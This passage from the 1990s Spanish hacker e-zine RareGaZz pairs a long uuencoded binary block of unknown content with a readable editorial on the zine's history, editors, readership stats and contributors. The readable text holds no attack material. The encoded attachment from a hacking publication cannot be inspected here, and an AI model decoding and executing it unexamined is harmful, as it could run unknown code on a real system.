MZ]\X^<0%GUP>-P`$8LV*.,#4Y<J'3SD"3$B'2A,QY#0O+1AL6(ZG8ZLFL8[C
MFW9V<)+S0MM'D$40(0D+,-'-'>MGM`7:R&N9`0"JE-AV6Z817G+6OOPO4_@L
M"4=T6'9,X@*A]'S*1(.[$7(PFTPW.S$=MKT/U`B![*,'&C[9OG_)/)%ZRCU1
MI!ZXPB`"D&[6H-6^`#!$&"O!\!T:@6Y)3HA,"5G&NWRQMWHKD&XI/N%K3S(^
M\`LD/-ACL`TW@-&!EN)5[EAB5OHH!;/B_V6Q<<>^KFY%7T^%B5=\L2/_\.B$
MS"R$6BLKWKYV"+"@*'<`=&L,Y?AJ57[G"FK%L.`H"7&`Y50NYO,8LEB*<+:R
MMXX]1VD"LYMA%9U>AFMM5OP">FK=)<F)*\C/5P1\D6'2]#F4OSGF5:(W%X:M
MG^.4&J%(T^U0GANJXYWR7;J?G41(RW_.X9O8K^.BOS,'2(+UN"W;23-?I$CQ
MBO3))1Z&GY09@S*+*AW[L,-\:&5C*$Y']F4\]X=ID',"I[-RR]U8595@+&]E
M[!?0&>J&9PWHZ/[-?'WK\8"?Q%B(X.70+`U$>P1G_2>O+]3<T!JQ^VOBR@?W
M2]8Y.J(SA[('H(&_X-[#JH7^:8F3YFZN2LHA:`<;ZIN9*"2$+7*O,WR[**L@
MY)_2\-!=,;\<`0H:M9E`-%Y6@<XV,SNM#X0KK&I:F^,B>>Q5;$FKJB@*[JMV
M7NR(-E\\HE*Y0_!,=;LLOESV_QCA5$9VUG:M*9HMI151(&4[\@.IZK/RY++9
M4=??-AR@!5@B*$SRS23N(7D]DB:ZV$4KW+)9XN@PQ+.1`BP1_9BB\):]!8'D
M4PC]2*YH,E7RB#<]MUI9HB>9]TZLMC_0;M[OO;G880&B\#"$]*4VAD/[X4!?
M4#Y4X]S"B)]_]V4U<-3U[Q?B1,*>Z4Q6L$J_[0!T]8&E]WIS.BU8DF%364@R
M(K^L-:S8_KYB.*=>K*$36*O@A&Z,J%2A#IQ7%7R&GXM^30E*L/Q;`S#-?/D8
M?H"P%/&TF"N.LLQ]:F=))VQGC^@.DBT=KA,/#(W-MN?[(X7ENHD-1*&+&,1)
MA%\XV-PP7_+M8%\K=T&:-WN=.D_=#,,8]RKA&8%>#3(VPU_?@P<>'UA@+T^3
M,77N\P=Y!4'_#E"UT/R9.WNIH?0UU^0*O`\"OI&W+GAFW5Q=J)\]'M`ZB>J,
MY`-E&?:5YIO$!EB>?V)Y4F23+H:::1,SBH_+'+7I)-L,R`.:ZCM3VN%R?77(
M(_Q--0!7=5[6)-6$D\`D;<BHK_,/MDR]1RE<4!K;0%@EG-?&2,\@6-G_<OIN
M[^1!FNO^[UK6L+N:$A>X@()4E+;IG3)X#JFP!P6`]F-[.X"@]1Q5_7_$E;X'
M9_YJ!&![/`<BX?@>?=!M*EGN+HWF'K/L68?4G7A*_.\Z)2+O"P"=OH@<^R80
M;4"NM:=S9\:]M.?=,G6",+R)F.VICB4*WO461QWM2.>C#30RDW^#L6$J5;.D
M-T2AX^1`?[..^*Y&OJ-*=M"W@XT)T%:P^Q9CA1LXUX$5]'Y,\_'S77A2E?6`
MP(.R[IBK<IM8'EJRO6&88?A^]8'^@<\H1M2?I:WOFW)X`76BHXA6U=2?)>XK
ML\'W:8,02!UN;'*]4^J./UDU[)*`7LJE'OTO;B%/D^R`>03].K)GU[3%K8-N
MO_(OT_8%_,CJU,U0KG'(9QBT]D,V43?/@?1L>?B'R?DA=53LDU(1<&61(J=2
MM4CR'1GO\-!@*JM.QL4V([,*C$@;4HSK&>W`6H*]!F,]$RW`/)DJQFN?0C
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
MFX:YTQ[1ZKT?L-`7S!BH@N?C!3UUS,Z`%?#MZJD\!+!/2^O.K\TP=Z\W:C
M$;#Y[-1WB^XSDZ/S=NI`QV6#-G@3Z*2U9^8Z_^P6-K]F--4A0KKB"17%;T[6
MD/2S;D!7)=>!,[XT8,X+B';[O#+&]/K"\1Q/+?+<_9]F5R9$-V?&O<>#<X0Y
M1HKT8YM96?E,@Q/^05FO#/">-MTJ.L]7)CSVPHAKHD)(R)E1-(X:D[\]#E2F
M\BR-@M=8X%.F2,ME#-NRG>"(7`<_G&%KI8@W1O6>'H/19OY)0O0<<-4?D=2W
M_'LVJ\&0$<<TZZN_%!\)>K@PV.MZ`DA>T4-H!8Z_N:'-26F3%V@5L'_QQP$E
MM6"[)X["ATR$N!O.\)5(ZA(SNOQ_ECA!@JHFU`TQ"B"A(OK"%X>/8G!1CC13
M;S=3^&3OWXKT4`D3>4&]M]F5%#=+^!)H^C>]S/$CRJ]I)O*/&`_AWU%RC796
MNBQXQ"*SO=-G`5G</+LJ0N9O%>/:XJE>;/FPE:IDQ$ASXE@Q<>_8H<==4R7Q
M7`L4,Y"$6^TR#NL")\AOL3?B;12R+$0(]V7X^ZQ.2SKSLE^!2_V/*+JT#B-9
M<F=\4.8&Y\H*`[D.8!85XIPG*G.LE@ZOS$4&5VRM:NPT3A7,(OH15!)4+SC]
M;?>T*W=`K#P/K,,8+0HB:$2.B!]3EGT9,UB\)TYC[CAC<?DR5ZG_&6<[ARZ\
M(\))(?9(K6*BC6A+$??)\&G#:6C(5T]N3;@Y7S0"`;VC"Y&C8:I!U9?798>Q
M^NQT9"-5SAG:P39,'7.`1C;M#?"R!UA%N,GR:0.X8OZH0GP%5ZK/LK?D'1T<
MY>UV%H@EU<^4#J=&MY0BLV?J9B#MYZ?4:"6P`454;TMQQQTLRZ0UC!T&0
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
M;)BW&EWZCY=Y[R-#@O-GN:7]`8;>D_YX/E@U`(R5N3U!0D'+57+`/3?MW#
M`M_L_L:YS$^U`9KK^N7+>//<0^@N[X+3>O%BXS<7EUNF3S,YQAI``=M9TSR?
M8Q_^P]5/M,-TKMP`K:%M73?#'?LH18-FGH\I&R_[T,K_J#,N)R1=K>[F3@3C
MR.1Y%@@VZ+QPVH85`LV'06;(Y_VF@F"$@XSX$@FC4QIZ)%`:B/-.UR**PWM6
M?D&+.G/L(TG9PWU4F%J7GV<=<[9OR'=-8Z^*N14EF"@:BV^2;-!8`Q0H@JA;
MT9_G%MK?$HS"7=[GD=MVI%C18ABD5LPE&.H`'G+LP8W-NBZL?U\7\)\^M)ZR
M%BQH2Y^"?0(N%0)$#=.G!*HW)1LJ]RGUXWLH;X+8)01"@-W;52B-]Q4L!EG%
MJ$S=&$!E8$@\C,C-'@[J'(GKY>Z)S_NB^:U=0RD0"($P=X!G^</C_;I;&UX0
MA:W;$Z+0TRTX7Z:SOY.V%RZ[XS5XB!20D71IK,O1'4'J'H8VV[IA)]<I7=WV
M1/;[W%4/.4H;$WP3LDZ<LX"7O/"-D[+`[<%&2)_+>AS,,/CLFLJV`)9-TQ1:
MTSUW\JJD1_XP<,`A\&Z6-^+D)!M%X+:W?44A>X[R&!*M%H"6PY^4ZY:9:I
M@6!C$V,W#BCC=[YF$T:7P3VA0]VJ//3X\M)@9X"<FFP[78P2BCZ4RG'*I8AH
MH:X55&N@8,.L,XPCK<EJZU_)S(-"RJ[^D$B)#(P[\M8$C3-5O4,ZW3.R<2]*
M3=:@!U23^)(:@22G-,S%2^LL<:*2!83,J-"[\.-+(/4.?RCU%'+4\L;%FI=,
M&WLJ?;[_7ZIU=ABDI;=D(PS5H:-#&%='EET9)PG#K\N?FZ?&)X<E%=]'Q(M1
M[=@W1NB"U]C+!ARIY-=_:\J[;L1/6Q-B41<?/\[,07:X0[?DM!(6$C%(PL>B
M>P88G$8P\YZ%1;J\4?CU5#@$`_?.-M]AL!%^'IJ7BBC%3T<U>7B<Z+<_FQQO
M98!0BR[SV/?BIM/O4%VN'YSO3H8IE^).D0<E@O6-HCB>LV1V;/U5E:+SE(GR
M!5F0=)1Q*Y7WHGBU"WU-RN[I(`$8ROPB!)!$.$DF[7,SX].K+7!Y9-A'2M[1
M<M+NI2(X$::6?.?E3'CP1?`B'PL^GM%)VO$14[*-JB>5.\0(8[>W*!HX3`W1
M.H"K1SNEN+79W$MO[V&D@:745K&=H,KT?PC@L?XHN/W,6E;[_-8(;M=X]H/"
ML'V46<V"J,+'2JY5YR<9>]M,DDPP'0]R5V-I]/9"_"E53,E['>@C_U+/2M.D
M[\7XVR<(C<+XG?A4H,SEL3X"M3HX`)Y%F>-Q8DG,<QQ;CORII$/6)?IODA3H
M:3&^1K"R1T"!>LZ@X[(?CF/3UJJDQO*$%,FI3YVED3H/T"=1L&NBT@BS;W`F
M/(E4AO_]^K\WY8\FZQ/,/?LJ\<QO[.UHTJ)\$7B4HY@U7)OM)8CK4=6DI6?Q
ML<\WB:6#UW2^K*78AH2\7'+`1$)$O@SCNX#&3M"Q%";N-O`RE^E<@.G$3JEH
MP1KO[AI''K(L<2M:S)_"Z4)4U_9W->FTJ4?!VD"I"EK#!U"8JPQR@IG[HH+O
M<BIHJI4?@F+?QF=&?OV:>485$9BL5Z\:Q/@+/=C%-X:,@)S?ZA4%U['FV^B!
MH;\7Y$'&3%**+8052OJ].+V#%E4RPUZ]G\G&&WDY@?FI5+:8!23KO%"5JG@4
M>Y+4*#V6Y-<C@=[E$W]-`<+:#D6*!]I=!5E2HVO[(:K.[A5G!XE8B0Y;'2`;
M$,)<-,PJ=!^9H%RX.B):>`@2L^QOQW5:!W+>L;.YMP9.(W]``/?E2J"(69/V
M[5W7LOY;?N`?SE(N(L!;K=F7HO4RU.@_1D%N4V$1PS[8_S>(QX3>O?$31V=&
M@V0VYF/T\NT=\7BGS=S((]=5W3YV4SAQQG1J!SJV2O*,I7$NR;.C>F\9H_!:
M9U.SX+@R;[P/LK1];BP[KU>J>_6_6P&$JBSRN87+_*/ADY-E`<.U3&!?9PP$
M)GU(W[UM]CSC;I5HEL#TKH7EJDM.0M^2T=)]^6-4QR7DPY=J&*<Z#R$(VV0@
M(:ISX^SUV.]SVI24)5H#@@)OU)@:%7.!>)?57K(A]?S'2Y!4I$YZ-QMF[V(V
M+O/%6%;;E?E`NO`897CG]?8(YJ6=$.*7VFVN%'(@;0L^N)5XMI27_,<)\4.Z
M;L8W5GIMT%`*WL!5Y:FM'DK?LKJ^D84"S+Q4MI0@RT>U+*/XY&7`8=@MS`0_
M8,!)ZT=<IU)9P9*.N<FR5/LY)B8:'@+ERF[XO[_XKT>]>YSH&+J#97!QD1QT
MDFU<$4F2:OE"_S'NO.7KX(1@=`:#1`>?=Z46^[W`/(<G_,J`]/90><MD9V-L
:ZN-Q2T*'K%Z@U?0HLZG;M*>LY@O%A\2PW_>P
`
end
ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\
@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
RareGaZz a finales del a¤o 1997
!!!!!!!!!!!!!!!!
o a principios de milenio lo que llegue primero...
por el webguru y mediasavi raretrip
A continuacion algunos hechos para desmentir verdades y aclarar mitos creados
alrededor de este zine en el transcurso del tiempo que hemos estado en-linea.
& Editores
~~~~~~~~~~
- Numero 5 Killerbot
- Numero 6 Raretrip - KillerBot
- Numero 7 CrackSmoker
- Todos los demas raretrip.
& Stats
~~~~~~~
- Del primer numero al segundo teniamos no mas de 120 direcciones
en la lista de correo. Hay que hacer notar que estos eran los
unicos lectores pues todavia no teniamos pagina web.
- Desde el tercer numero hasta el quinto la lista de correo era
de 250 direcciones o menos. Nuestra pagina web recibia 15 visitas
diarias cuando mucho de acuerdo al contador en geocities.*
- Algo paso en el quinto numero pero la lista de correo se disparo
a 400 direcciones al parecer gracias a la implementacion de forms
en la seccion log-in de la antigua pagina. Los hits eran 20/25
- De ahi en adelante todo se desenvolvio rapidamente y eran 30 hits
diarios. La lista de correo siguio aumentando...
- Actualmente la lista de correo cuenta con 682 direcciones de email
por todo el mundo y la pagina recibe + o - 100 visitas diarias.
*No valen los hits de los navegadores sin la opcion "Auto Load Images".
& Personal
~~~~~~~~~~
- Inicialmente killerbot, Le PompeItor y yo sacamos los dos
primeros numeros usando www.whowhere.com como nuestra fuente
de direcciones de email buscando en ciudades mexicanas.
- DuvaHazard colabora en el tercer numero en respuesta a un texto
publicado en un periodico local. Mr.X hace lo mismo y nos manda
textos de varias personalidades. KillerBot continua y Le PompeItor
se desaparece mientras que RdK acepta colaborar con el zine.
- En el numero cuatro seguimos los mismos y se une serverhacker de
RdK, cracksmoker prefiere ser colaborador unicamente. Como algo
nuevo se crea un grupo aparte encargado de repeler ataques por
bombas de correo o de otro tipo...tienen exito y desaparece.
- El numero 5 se ve mas estable, seguimos los 4 colaboradores
permanentes mientras que Arkangel y Cracksmoker colaboran y
forman Letz Hack. Groovy debuta por primera vez (un admin de un
banco).
- Despues en el numero seis se ausentan como de costumbre Mr.X y
LePompeItor pero con las colaboraciones de DuvaHazard, Orion y
Truco ni se nota :-)
- Para el numero siete se une `permanentemente' a raregazz
cracksmoker -se sale inmediatamente-. En este numero se hace algo
nunca antes hecho. Entre el colaborador Yo, Mr.x y yo (?) hacemos
el texto "tips para el hacker ms-dos". Un exito compartido por 3.
Tambien una excelente revision de software escrita por RdK bajo
el seudonimo "Siskel&Ebert". Cracksmoker se encarga de nuestra
pagina web en ese numero y cambia todos los colores :-( Mientras
serverhacker sigue colaborando al igual que TucanX, NiK y
GuyBrush. Groovy sigue y seguira en RareGaZz encargado de las
noticias separandose hasta el numero actual de serverhacker.
- Para el numero ocho hemos formado un ejercito de colaboradores
que empujan a este zine mas alla de lo imaginado. Azumlord hace
su debut asi como tambien Nopal Picudo y Swoish. GuyBrush es
ahora colaborador permanente al igual que Mr.X, ServerHacker,
KillerBot y LePompeItor.
& Personal Actual
~~~~~~~~~~~~~~~~~
A nosotros nos pueden reprochar el no ser estrictamente "Elite" por permitir
ingresos en nuestro grupo, pero eso no nos detiene a reclutar mentes
talentosas y dedicadas por eso los colaboradores permanentes de raregazz
son en estos momentos:
Arkangel - Azumlord - Groovy - Guybrush - KillerBot - Mr.X - Orion - RareTrip
ServerHacker - VoV_77
Por favor no mail preguntando ¨puedo ser admitido? Todas estas personas han
colaborado constantemente y obviamente se han ganado el pase. No esperes
que por un texto o dos seas nombrado inmediatamente colaborador permanente
pero tampoco pienses que nunca podras serlo...uno nunca sabe. Ademas, los
puestos se van pasando y asi hay oportunidades para todos!
& Futuro
~~~~~~~~
Este es el futuro de RareGaZz: mejores textos, mas presencia en internet y
mas colaboradores. Proximamente un editor diferente.
En politica seguira siendo informacion gratuita, laica, maniaca, panikeada,
pasada, freakeada, y sin censura. Para bien o para mal.
GreetZ a todo el ( ) MUNDO ENTERO ( ) y que tengan PAZz!
http://www.geocities.com/Baja/4426
http://raregazz.islatortuga.com